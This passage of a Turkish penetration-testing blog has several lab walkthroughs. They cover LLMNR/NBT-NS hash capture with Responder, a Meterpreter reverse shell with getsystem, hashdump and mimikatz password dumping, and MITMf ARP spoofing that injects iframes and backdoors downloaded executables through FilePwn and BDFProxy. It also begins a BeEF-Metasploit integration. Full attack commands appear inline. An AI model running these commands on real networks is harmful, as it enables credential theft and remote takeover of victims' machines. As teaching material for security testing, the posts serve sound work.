<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQHQZC8lKW_-eHhjMVuq5DSoFgxXMAwDiTHyA_TcVaDhzsYZw3aNHPk9GV10W-YhRKkAAagb2m4n9y9xggv7IFKMjOsR8ywLj9kaND70D17ycJfGjl-g6H9500nhKTXNFIkR55KdIbByw/s1600/8.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="52" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQHQZC8lKW_-eHhjMVuq5DSoFgxXMAwDiTHyA_TcVaDhzsYZw3aNHPk9GV10W-YhRKkAAagb2m4n9y9xggv7IFKMjOsR8ywLj9kaND70D17ycJfGjl-g6H9500nhKTXNFIkR55KdIbByw/s640/8.png" width="640" /></a></div>
<br />
<br />
<br />
<br />
Görüldüğü gibi giriş sağlanmıştır.<br />
<br />
Bundan sonra CrackMapExec'i kullanarak SAM dosyasında bulunan tüm kullanıcıların parola hashleri alınabilir yada direk mimikatz ile oturumu memory'de olan kullanıcıların cleartext parolaları alınabilir.<br />
<br />
Deneyelim;<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoF9R4zF9bQsD2z8NimcSv7HYmAtNGoDoYJp7u7Ct_yOMEznEmhQZ9PhBOlihwHherF1jfXPlRk0kjdAeXUOCsYczxnMS_McAjLfCQj_m3lASEYyTXZxLgI5uBmDCH8I8F33ojXcw9AGI/s1600/9.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="74" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoF9R4zF9bQsD2z8NimcSv7HYmAtNGoDoYJp7u7Ct_yOMEznEmhQZ9PhBOlihwHherF1jfXPlRk0kjdAeXUOCsYczxnMS_McAjLfCQj_m3lASEYyTXZxLgI5uBmDCH8I8F33ojXcw9AGI/s640/9.png" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
Hoydaaa. Yetki yok :(<br />
<br />
RPC yoksa RDP var huleyn diyip ordan giriyoz.<br />
<ul>
<li>Önce msfvenom ile bize meterpreter reverse shell verecek bir zararlı yazılım üretiyoruz. - anti-virüs derdiniz var ise bunun çaresini önceki yazılarda yazmış idim, aramanın gücüne inanın-</li>
<li>Metasploit tarafında handler ile bağlantıyı beklemeye başlıyoruz.</li>
<li>Zararlıyı kurbana ulaştırmak için Python'ın SimpleHTTPServer modülünü kullanarak web server oluşturuyoruz.</li>
<li>Kurban tarafında RDP ile girdiğimiz makinenin browser'ından girerek zararlı dosyayı çekip, yönetici olarak çalıştır diyoruz.</li>
<li>Ve boom.</li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv9xO_rB_8Brg1UpO0X0aI79zTXDtSSAAASagPajcsPaLj0uiJJMvsd00gHXbJPZL96Qo4nHr3DVV3tv34v8VU1GxdKXD6IYK9pMgI2ooA7ei2F1C0R6F9_-Wh7CLnAivTVoqfxVvmiLo/s1600/10.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="342" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv9xO_rB_8Brg1UpO0X0aI79zTXDtSSAAASagPajcsPaLj0uiJJMvsd00gHXbJPZL96Qo4nHr3DVV3tv34v8VU1GxdKXD6IYK9pMgI2ooA7ei2F1C0R6F9_-Wh7CLnAivTVoqfxVvmiLo/s640/10.png" width="640" /></a></div>
Sonrası zaten klasik meterpreter komutları;<br />
<b>getuid</b> ile biz kimmişiz diye bakıyoruz,<br />
<b>getsystem</b> ile yetki yükseltme yapıyoruz,<br />
<b>hashdump</b> ile bilgisayardaki kullanıcı parola hashlerini alıyoruz,<br />
<b>load mimikatz </b>ve<b> wdigest</b> ile cleartext parolaları alıyoruz. <br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiflGgNi84haokIVkHmL26N1ztkm9c-G7m40kMeih2pTnSf8Un0C8BlNVHPOp4lSqPkz-9kJ1dywpbY5YnOs7ZOYbEUYR9l8J-xnmvZ4rWEeBDUeFd4XEzP_i0Z7RWiANAaQ8RJV3-wkMk/s1600/11.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="262" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiflGgNi84haokIVkHmL26N1ztkm9c-G7m40kMeih2pTnSf8Un0C8BlNVHPOp4lSqPkz-9kJ1dywpbY5YnOs7ZOYbEUYR9l8J-xnmvZ4rWEeBDUeFd4XEzP_i0Z7RWiANAaQ8RJV3-wkMk/s640/11.png" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<b>LAB</b> domaininininin <b>Administrator</b> kişisinin parolası bizde, sonrası domain'e bir <b>kullanıcı ekleyip</b> onu <b>Domain Admins </b>grubuna almak ve gelsin DC adminlik...<br />
<br />
<span style="font-size: large;"><b>Attack Combo</b></span><br />
<br />
Şimdi diyeceksiniz ki, e gardaşım bunların hata yapmasını mı bekliyecez?<br />
Kaç saat/gün bekliyecez ki kurban typo hatası yapsın da bizde parolasının hashini alalım diye.<br />
<br />
Bizde her yol var diyip responder ile yaptığımızı başka bir saldırı ile harmanlayalım ve kurban hiçbir şeyin farkında olmadan parola hash değerini elde edelim.<br />
Yapacağımız işlemde kurban normal bir şekilde internette sörf yaparken biz de onu olmayan bir host'a ulaşmaya zorlayacağız.<br />
<br />
Evet, <b>MITM</b> saldırısı.<br />
<br />
Bu işlem için <b>MITMf</b> aracını kullanacağım ben, alternatif olarak <b>Bettercap</b> aracınıda kullanabilirsiniz, sevdiğim ve kullandığım iki araç.<br />
<br />
Yapılacak işlemdeki ana mantık; üstümüze aldığımız kurban trafiğinin içerisine iframe ile olmayan bir adresi enjekte etmek ve responder'in bu isteği yakalayıp spoof etmesini beklemek ve bingo, hashi elde etmek.<br />
<br />
Daha fazla uzatmadan hızlı bir şekilde saldırıya geçelim.<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;">mitmf --interface eth0 --gateway 172.17.7.254 --target 172.17.7.78 --arp --spoof --responder --inject --html-payload '<iframe src="\\\\Qweoke"></iframe>'</span></li>
</ul>
Yukarıda bir yerde MITMf'in de içerisinde responderı barındırdığını ve onunla da bu saldırıyı gerçekleştirebileceğimizi yazmıştık.<br />
<b>--responder</b> parametresi ile LLMNR-NBTNS spoofing işlemini yapmasını sağlıyoruz ve <b>iframe </b>ile<b> Qweoke</b> gibi olmayan bir yere istek yapmaya zorluyoruz.<br />
<br />
Resmin sol tarafında kurban var ve skype'ın web adresine gidiyor.<br />
Resmin sağ tarafında ise MITMf ile yukarıda yazmış olduğumuz parametreler ile arp spoofing yapıp trafiği üzerimize alıyoruz ve cleartext trafiğin içerisine iframe ile <b>Qweoke</b>'yi enjekte ediyoruz.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-WW_950cSHZCF0PYf5oz0uXOHuy6p5m_9vFQ94IZJQy3C4p5gzm0vzPIMnmNePnjBuSL0iusIpYnc31WC8gBc34IIMVqy2rm8W3kchU0N6QfpMws8isF2PaVdGN-u8f3VBZwdZ5jPJGE/s1600/combo.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="336" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-WW_950cSHZCF0PYf5oz0uXOHuy6p5m_9vFQ94IZJQy3C4p5gzm0vzPIMnmNePnjBuSL0iusIpYnc31WC8gBc34IIMVqy2rm8W3kchU0N6QfpMws8isF2PaVdGN-u8f3VBZwdZ5jPJGE/s640/combo.png" width="640" /></a></div>
<br />
<br />
<br />
<br />
Kısa bir şeyler yazayım diye çıktım gene uzun uzun yazmışım..<br />
Gözden geçiremedim ikinci bir defa, bir hatamız/yanlışımız varsa yorum kutusu aşağıda..<br />
<br />
LLMNR'i anlatan resmi aldığım ve olayı kavradığım kaynak:<br />
<a href="https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning">https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning</a>Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com4tag:blogger.com,1999:blog-4536086478290117322.post-407642503799181442016-01-27T06:51:00.000-08:002016-01-27T06:55:53.302-08:00MITMf + FilePwn = ARP Spoofing ile Shell Açma<div style="text-align: left;">
<div class="MsoNormal">
<span style="mso-ansi-language: TR;">MITMf (Man-In-The-Middle
Attack Framework), MITM saldırıları için </span><span lang="EN-US"><a href="https://twitter.com/byt3bl33d3r"><span class="InternetLink">byt3bl33d3r</span></a></span><span style="mso-ansi-language: TR;"> tarafından geliştirilen bir <b>Ortadaki Adam</b>
saldırı aracıdır. </span><br />
<br />
MITMf içerisinde çok sayıda hazır saldırı modülü bulundurmaktadır.
Bunun yanında yeni modüllerin geliştirilmesi ve entegrasyonu oldukça
kolaydır. Örnek olarak bir kaç modülüne bakacak olursak;<br />
<ul>
<li><b>ScreenShotter:</b> Kurbanın browser'ından ekran görüntüsü alır.</li>
<li><b>SSLstrip+: </b>HSTS bypass için kullanılacak modül. </li>
<li><b>Spoof: </b>Spoofing kullanılacak modülleri başlatmak için kullanılır, örnek modüller: ARP, ICMP, DHCP ve DNS spoofing.</li>
<li><b>BeEFAutorun: </b>Kurban'ın browser tipine göre BeEF modüllerini çalıştırır. </li>
<li><b>AppCachePoison:</b> Uygulama cache'lerini zehirler.</li>
<li><b>BrowserProfiler:</b> Kurbanların browser'larında yüklü olan pluginleri gösterir. </li>
<li><b>FilePwn:</b> HTTP üzerinden Backdoor Factory and BDFProxy kullanarak arka kapı yerleştirmemizi sağlar.</li>
<li><b>Inject: </b>HTML içeriğine müdahale etmemizi sağlar. (ör: js veya html kod ekleme) </li>
<li><b>BrowserSniper:</b> Güncellenmemiş browser pluginleri üzerinde drive-by saldırıları dener.</li>
<li><b>JSkeylogger:</b> Kurbanın açmış olduğu web sayfalarına Javascript yardımıyla keylogger gömer. </li>
<li><b>Upsidedownternet: </b>Kurbanın ulaştığı sayfalardaki resimler 180 derece çevrilir.
</li>
</ul>
</div>
<br />
<b>Kurulum</b><br />
<a name='more'></a> <br />
MITMf'i yüklemek için aracın kaynak kodlarının bulunduğu Github sayfasından projeyi <b>clone </b>edip, <b>bağımlılıkları </b>yükledikten sonra <b>mitmf.py </b>isimli python dosyasını çalıştırmak yeterlidir. Ayrıntılar <a href="https://github.com/byt3bl33d3r/MITMf/wiki/Installation" target="_blank">şu sayfada</a> yer almaktadır.<br />
Kolay yol ise direkt olarak Kali linux'un deposundan kurulumu yapmaktır. Depodan kurulumu yapmak için kullanılacak komut;<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;">apt-get install mitmf
</span></li>
</ul>
Apt paket yöneticisi aracı bağımlılıklarıyla beraber kuracaktır.<br />
<br />
<b>FilePwn</b><br />
<br />
Uygulamasını yapacağımız saldırıda <b>FilePwn</b> modülünü kullanacağız. Uygulamalar sırasında saldırgan işletim sistemi olarak<b> Kali linux</b>, kurban ise<b> Windows 7</b> kullanmaktadır.MITMf'in içerisinde bulunan modüllerden olan <b>FilePwn </b>ile trafiğini üzerimize aldığımız kurbanların indirdikleri dosyaların içerisine <b>BackdoorFactory Proxy (BDFProxy)</b> ile bir arka kapı gömeceğiz.<br />
Öncelikle MITMf'in config dosyasını saldırgan makinesine göre düzenlememiz gerekmektedir.<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;"> /usr/share/mitmf/config/mitmf.conf </span></li>
</ul>
Dosyasının içerisinde bulunan <b>[FilePwn] </b>tabının altında hedefler için belirtilen alanları kendimize göre düzeltmeliyiz. FilePwn modülü zip, tar ve exe dosyalarına arka kapıyı ekleyebilmektedir.
<br />
Uygulama sırasında 32bit windows mimarisi için olan arka kapı kullanılmıştır. Bunun için konfigürasyon dosyasında bulunan<b> [[[[WindowsIntelx86]]]]</b> ve diğer tabların altında bulunan özellikler gerekli şekilde düzeltilmiştir. Düzeltilecek özellik, ileri seviye bir şey yapılmadığı taktirde sadece <b>HOST </b>değerini değiştirmektir. Burada girilen <b>HOST </b>değeri, <b>MSFPAYLOAD </b>kısmında belirtilen Metasploit payloadında kullanılacak olan <b>LHOST </b>parametresinin değeridir. <b>PORT </b>değerinin default olarak kalmasında bir sıkıntı yoktur. <b>HOST </b>alanları doğru şekilde girildikten sonra <b>MITMf </b>bizim yerimize Metasploit üzerinde handler'ları başlatacaktır. Windows 32bit için olan sekmenin için son görünüm aşağıdaki gibidir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWY7DVynzsN7W2g26x7BfYeXwiFGsp0JLecQt5lLu3eSohrHX4rP6k0kUB4gBw00Q45Xkp7Zg5jufd4mwkE0vt9TL8an21rARXmLxruUnOWyIv-k7K5Q-fKRJJTYDT1jpmktFK1RtrGw/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="296" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWY7DVynzsN7W2g26x7BfYeXwiFGsp0JLecQt5lLu3eSohrHX4rP6k0kUB4gBw00Q45Xkp7Zg5jufd4mwkE0vt9TL8an21rARXmLxruUnOWyIv-k7K5Q-fKRJJTYDT1jpmktFK1RtrGw/s640/1.png" width="640" /></a></div>
<br />
Yapılan değişiklikler kaydedildikten sonra sıra Metasploit tarafında yapılması gerekenlerde. Temel olarak yapacağımız <b>Metasploit </b>üzerinde <b>msgrpc </b>modülünü yüklemek ve gerisini MITMf tarafına bırakmak. MITMf'in konfigürasyon dosyasında bulunan <b>[MITMf] </b>tabının altında bulunan <b>[[Metasploit]]</b> alanında yer alan <b>rpcip = 127.0.0.1 </b>ve <b>rpcpass = abc123</b> değerleri Metasploit üzerinde RPC ile komut çalıştırıp bizim yerimize tüm handler'ları arkada hazır tutmasını sağlıyor.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXsH76PL30Z5bQhownnYjIosmCXcUWBouioEyBaXaa6OHGeU2XKUBrJv9LY7RG4CoLraab6WlFzsHQk2_A1Pmzg_KZZRuUj4xKzhGxBbBG955Hh0rJNLH1mGXzJ4_l_0pU5wf4c5ytbg/s1600/2_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="84" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXsH76PL30Z5bQhownnYjIosmCXcUWBouioEyBaXaa6OHGeU2XKUBrJv9LY7RG4CoLraab6WlFzsHQk2_A1Pmzg_KZZRuUj4xKzhGxBbBG955Hh0rJNLH1mGXzJ4_l_0pU5wf4c5ytbg/s640/2_1.png" width="640" /></a></div>
<br />
Yapacağımız iş, msgrpc modülünü konfigürasyon dosyasında belirtilen şekildeki parola ve ip ile başlatmak. Modül başlatıldıktan sonra ARP Spoofing ile trafiği üzerimize alacağız ve kurbanın düşmesini beklemeyeceğiz.<br />
Metasploit üstünde msgrpc modülünü aktif hale getirmek için;<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;">load msgrpc Pass=abc123
</span></li>
</ul>
komutu girilebilir. Default olarak IP değeri konfigürasyon dosyasında bulunan alan ile aynıdır bu yüzden ek bir parametreye gerek yoktur. Fakat parola alanı modül her yeniden başlatıldığında random bir şekilde atanmaktadır. Bu yüzden MITMf konfigürasyon dosyasında bulunan alandaki ile aynı parolanın girilmesi gerekmektedir. <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg53ppVuu8Cp_PNBKv5SCShE_xzgr4IBqiMxu4b-_oegnnGdE-xPzBWk-8YFqHe2ETeOVmztZGtglyG5f9QqLyLaFt2bbfR8ENvE4KpAgXYmZ2fWQgByXWn5zL9dE5IqeEI6XcRkeSihQ/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="116" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg53ppVuu8Cp_PNBKv5SCShE_xzgr4IBqiMxu4b-_oegnnGdE-xPzBWk-8YFqHe2ETeOVmztZGtglyG5f9QqLyLaFt2bbfR8ENvE4KpAgXYmZ2fWQgByXWn5zL9dE5IqeEI6XcRkeSihQ/s400/3.png" width="400" /></a></div>
Öte taraftan MITMf ile ARP Spoofing'i gerçekleştirelim ve kurbanı beklemeye koyulalım;<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;">mitmf --interface eth0 --target 172.17.7.116 --gateway 172.17.7.254 --arp --spoof --filepwn
</span></li>
</ul>
Girilen parametreleri açıklamak gerekirse;<br />
<b>interface </b>alanı hangi arayüzden spoofing işlemini gerçekleştireceğimizi belirtir. <b>Target </b>alanı, hangi IP veya IP'lere saldırı gerçekleştireceğimizi belirtir. <b>Gateway </b>alanı, ARP Spoofing işlemi sırasında kurban ile hangi IP (router adresi) arasında girileceğini belirtir. <b>Arp </b>ve <b>spoof </b>parametreleri, yapılacak olan spoofing işleminin ARP olduğunu belirtiyor. <b>FilePwn </b>parametresi ise bahsini ettiğimiz arka kapıyı yerleştirecek olan modülün çalışmasını sağlar.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2VGQKOPXXHcqgJkh9blpmmIiQN2P65-Hq5Xfxb0HjhIM1gQMX760gcB_29W8akO_A-kqzzJOZHSbgqKEeI8HMtyaum22JMPVsr7eEwJNArN_FsaroXcKA9mRcN6l9oojQrOSRCTUjxg/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="322" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2VGQKOPXXHcqgJkh9blpmmIiQN2P65-Hq5Xfxb0HjhIM1gQMX760gcB_29W8akO_A-kqzzJOZHSbgqKEeI8HMtyaum22JMPVsr7eEwJNArN_FsaroXcKA9mRcN6l9oojQrOSRCTUjxg/s640/4.png" width="640" /></a></div>
<br />
Kurban http bir web sitesini ziyaret ediyor ve burdan çalıştırılabilir bir dosya indiriyor.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaSwYuQ0e_iTTXjZCpyJVEZz1lm2dZ4qmnhgJKq74UIAx0kK8v_TablLMPyinEfmNaiobp3H0qBWG5uVPwdH1bgRwlHxKNDFz4kfMxbxgtEhA2CDmc8RXodR5Blcz34HMQjhaa20FloA/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaSwYuQ0e_iTTXjZCpyJVEZz1lm2dZ4qmnhgJKq74UIAx0kK8v_TablLMPyinEfmNaiobp3H0qBWG5uVPwdH1bgRwlHxKNDFz4kfMxbxgtEhA2CDmc8RXodR5Blcz34HMQjhaa20FloA/s640/5.png" width="640" /></a></div>
<br />
Görüldüğü üzere dosya alınıyor, shellcode ekleniyor ve kurbana yollanıyor. Bundan sonrasında kullanıcı dosyayı çalıştırdığı vakit, MITMf'in msgrpc modülü aracılığıyla açık olan Metasploit ekranımıza session düşecektir.<br />
<br />
Var olan oturumları listelemek için <b>sessions </b>komutunu kullanabiliriz.
Listelenen oturumlardan biriyle iletişime geçmek için <b>sessions -i [ID] </b>komutunu kullanmak yeterlidir.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFlzeMp96dT6wTSwzVBQaeZetCOmuMXsI_-5tGEGdKXHF0uNRkQ8t1NjtB7s3jYO2ywoqcIktgarZqEqobI2LNuLsxIrD4dzKM46b86Wj8vDtU5DEQSL0y2pJCg13XPgy9cOl7TnfOVw/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFlzeMp96dT6wTSwzVBQaeZetCOmuMXsI_-5tGEGdKXHF0uNRkQ8t1NjtB7s3jYO2ywoqcIktgarZqEqobI2LNuLsxIrD4dzKM46b86Wj8vDtU5DEQSL0y2pJCg13XPgy9cOl7TnfOVw/s640/6.png" width="640" /></a></div>
<br />
Resimde görüldüğü üzere kurbanın bilgisayarında <b>reverse</b> <b>meterpreter shell</b> açılmıştır.
Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com0tag:blogger.com,1999:blog-4536086478290117322.post-4563524760961553542015-11-25T10:52:00.000-08:002016-01-16T08:04:32.581-08:00MITMf + BeEF + Metasploit = Exploit Combo<div style="text-align: left;">
ARP <span class="st">Poisoning</span>/Spoofing ile bir network içerisinde çeşitli saldırılar yapılabilir. Örnek olarak aynı ağda bulunduğumuz kurban veya kurbanların trafiğini üstümüze alabiliriz.<br />
<br />
Yerel ağ içerisinde makineler birbirleriyle haberleşirken <b>MAC</b> adreslerini kullanırlar. Bu olay OSI modelindeki <b>2. katman </b>olan<b> Data Link Layer</b>'da gerçekleşmektedir. Ağda bulunan makineler broadcast ile yaydıkları paket sonrası aynı ağda bulunan diğer makinelerin <b>IP-MAC</b> eşleştirmesini yapar. IP-MAC eşleştirmesinin bulunduğu yer <b>ARP </b>(Address Resolution Protocol) tablosudur. Yerel ağda haberleşmek istenilen iki makine arasında kurulacak bağlantı öncesinde ARP tablosundan bakılarak iletişimin kurulacağı IP'ye denk düşen MAC adresi bulunur ve işlemler bu MAC adresi üstünden gerçekleşir.<br />
ARP poisoning saldırısında, seri şekilde gönderilen ARP paketleri ile kurban ve router arasına girilir. Yazıda ARP spoofing ile gerçekleştirilebilecek saldırılardan olan <b>MITM </b>(Man In The Middle – Ortadaki Adam) anlatılacaktır.<br />
Mitm saldırısının gerçekleştirilmesi sırasında saldırgan ve kurban arasında gerçekleşen trafiği aşağıdaki gibi açıklayabiliriz.<br />
<br />
Trafiği yönlendiren cihaza(router/switch), kurbanın MAC adresi diye saldırganın MAC adresi gönderilerek, saldırgan kendini, kurban olarak taklit eder ve cihazın ARP tablosunda IP-MAC eşleştirmesi bu şekilde görünür.<br />
Kurban'a, router MAC adresi diye saldırgan MAC adresi gönderilerek kurbanın ARP tablosundaki router MAC adresi saldırganın MAC adresiyle değiştirilir. Poisoning için gönderilen paketler sahte ARP paketleridir.<br />
Bir resim ile olayı özetlemek gerekirse;<br />
<a name='more'></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaFDTRflKAeWPZh6rTXbPgEHJgOGRoAVJa5Kssv_w2Ep4n-R_X4YAOeLZN0S-YEcj0rV9xlqM8xzyX5PW9bt_JIfJZi_QBRvrJfQkn2HKCszFst-4IlBVEZUvgk7x4oXYQVkvD1f_k5A/s1600/man-in-the-middle.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaFDTRflKAeWPZh6rTXbPgEHJgOGRoAVJa5Kssv_w2Ep4n-R_X4YAOeLZN0S-YEcj0rV9xlqM8xzyX5PW9bt_JIfJZi_QBRvrJfQkn2HKCszFst-4IlBVEZUvgk7x4oXYQVkvD1f_k5A/s640/man-in-the-middle.JPG" width="640" /></a></div>
ARP spoofing ile gerçekleştirilen bu saldırıda (MITM), saldırgan olan kişi kurban veya kurbanların tüm trafiğini üstüne alabilir. Şifrelenmemiş bir şekilde giden trafikteki tüm özel bilgileri okuyabilir. ARP Spooging ile ilgili ayrıntılı bilgi için <a href="https://tr.wikipedia.org/wiki/Arp_zehirlenmesi">https://tr.wikipedia.org/wiki/Arp_zehirlenmesi</a> adresi ziyaret edilebilir.
<br />
<br />
<b>MITMf</b>
<br />
<br />
MITMf (Man-In-The-Middle Attack Framework), MITM saldırıları için <a href="https://twitter.com/byt3bl33d3r" target="_blank">byt3bl33d3r</a> tarafından geliştirilen bir MITM saldırı aracıdır. İçerisinde bir çok saldırı modülü bulunmaktadır.<br />
<br />
Bu yazıda MITMf'in <b>inject </b>modülünü kullanacağız. Inject modülü, HTML içeriğe müdahale etmemizi ve buna ek olarak kullanacağımız modül ile işlem yapmamızı sağlar.<br />
<br />
Ek modüllerden bazıları şunlardır: js-url, html-url ve html-payload.<br />
<b>Js-url:</b> İçeriğe zararlı Javascript kodu barındıran link gömmemizi sağlar.<br />
<b>Html-url:</b> İçeriğe gizli bir iframe aracılığıyla html link gömmemizi sağlar.
<b> </b><br />
<b>Html-payload:</b> İçeriğe HTML kodlarını dahil etmemizi sağlar.
<br />
<br />
<b>BeEF</b>
<br />
<br />
BeEF (The Browser Exploitation Framework), <b>XSS </b>zafiyetlerini kullanarak ileri seviye saldırı işlemlerinin yapılabilmesine imkan tanıyan bir araçtır. Ürettiği Javascript kod içeren zararlı url'e kurbanın yönlendirilmesi sonucu browser üstünde birçok saldırı gerçekleştirilebilmektedir. Kali linux'ta kurulu bir şekilde gelmektedir. Depodan kolay bir şekilde kurulabilmektedir.<br />
<br />
<b>Amaç</b><br />
<br />
Yazı kapsamında <b>BeEF</b>'in üreteceği <b>hook js</b> adresini, <b>MITMf </b>ile üstümüze aldığımız kurban trafiğinde geçen <b>sayfalara enjekte</b> eden modülü kullanarak enjekte edeceğiz. Sonrasında <b>BeEF </b>ve <b>Metasploit </b>kullanarak kurban bilgisayarında <b>shell </b>açacağız.
<br />
<br />
<b>Metasploit + BeEF</b>
<br />
<br />
BeEF'in konfigürasyon dosyalarında yapılacak bazı değişiklikler ile Metasploit'i BeEF'e entegre edebiliriz. Bu sayede Metasploit üzerinde bulunan birçok exploit'i kullanabiliriz.<br />
Yazı kapsamında sadece entegrasyon işlemi gösterilecektir, shell açma işlemi entegrasyondan bağımsız bir şekilde gerçekleştirilecektir.<br />
Entegrasyonu işlemini gerçekleştirebilmek için BeEF konfigürasyon dosyasında kullanılacak <b>extension</b>'lar kısmında Metasploiti aktifleştirmek gereklidir. BeEF klasöründe bulunan <b>config.yaml</b> dosyasının son satırlarında bulunan metasploit aktifleştirme için kullanılan değişkenin <b> false</b> değerine sahip alanı <b>true</b> olarak değiştirmemiz gerekmektedir. Dosyanın yolu;<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;">/usr/share/beef-xss/config.yaml</span></li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMfVv0EP7nVqrlYL_pcP2wi4nv7RwDcRW-NickB01kWWIdvLLGgFASZwjDY3xQILYbL4S8LpwQfVOhIH0wzsFHRNTDSkw6U9a5ovrHHAfUiRyRcranuCY_JNX48S1iuksRqyubwMOluw/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="427" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMfVv0EP7nVqrlYL_pcP2wi4nv7RwDcRW-NickB01kWWIdvLLGgFASZwjDY3xQILYbL4S8LpwQfVOhIH0wzsFHRNTDSkw6U9a5ovrHHAfUiRyRcranuCY_JNX48S1iuksRqyubwMOluw/s640/1.png" width="640" /></a></div>
BeEF üstünde Metasploit eklentisinin çalışmasını sağladık. Metasploit tarafındaki bağlantıyı/işlemleri sağlayacak <b>RPC</b> modülünün konfigürasyonunun yapılması gerekmektedir. Bunun için BeEF tarafında Metasploite bağlantı sırasında kullanılacak <b>kullanıcı adı, parola</b> gibi seçeneklerin düzenlenmesi gerekmektedir.<br />
BeEF içerisinde çalışacak eklentilerin bulunduğu <b>extensions</b> klasörünün altında bulunan metasploit klasöründe bulunan <b>config.yaml</b> dosyasını düzenlememiz gerekmeketedir. Dosyanın yolu;<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;">/usr/share/beef-xss/extensions/metasploit/config.yaml
</span></li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKirBWYhdjoldR5XVkxT1a5lVyGW2XUot-NVGfG_BpfyfMTe-FfuF9nQjrOiTvc0uul7qg5yUlCNLIM5Mn2LoJWGJz1NuNQQ698411qtuzm9Id3YkuRe9RcI3RsUcYs1KKAvyJMCS1iA/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="252" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKirBWYhdjoldR5XVkxT1a5lVyGW2XUot-NVGfG_BpfyfMTe-FfuF9nQjrOiTvc0uul7qg5yUlCNLIM5Mn2LoJWGJz1NuNQQ698411qtuzm9Id3YkuRe9RcI3RsUcYs1KKAvyJMCS1iA/s400/2.png" width="400" /></a></div>
Burada bulunan değerleri, Metasploit içerisinde bulunan <b>msgrpc </b>modülüne bağlantı sırasında kullanacağımız için gerekli düzenlemeleri yapmamız gerekmektedir. Veya burada bulunan bağlantı değerlerini dikkate alarak Metasploit tarafında msgrpc modülünü uygun şekilde yüklememiz gerekmektedir. <br />
Metasploit tarafında bağlantıyı karşılayacak msgrpc modülünü yukarıdaki değerler ile yüklemek için;<br />
<ul>
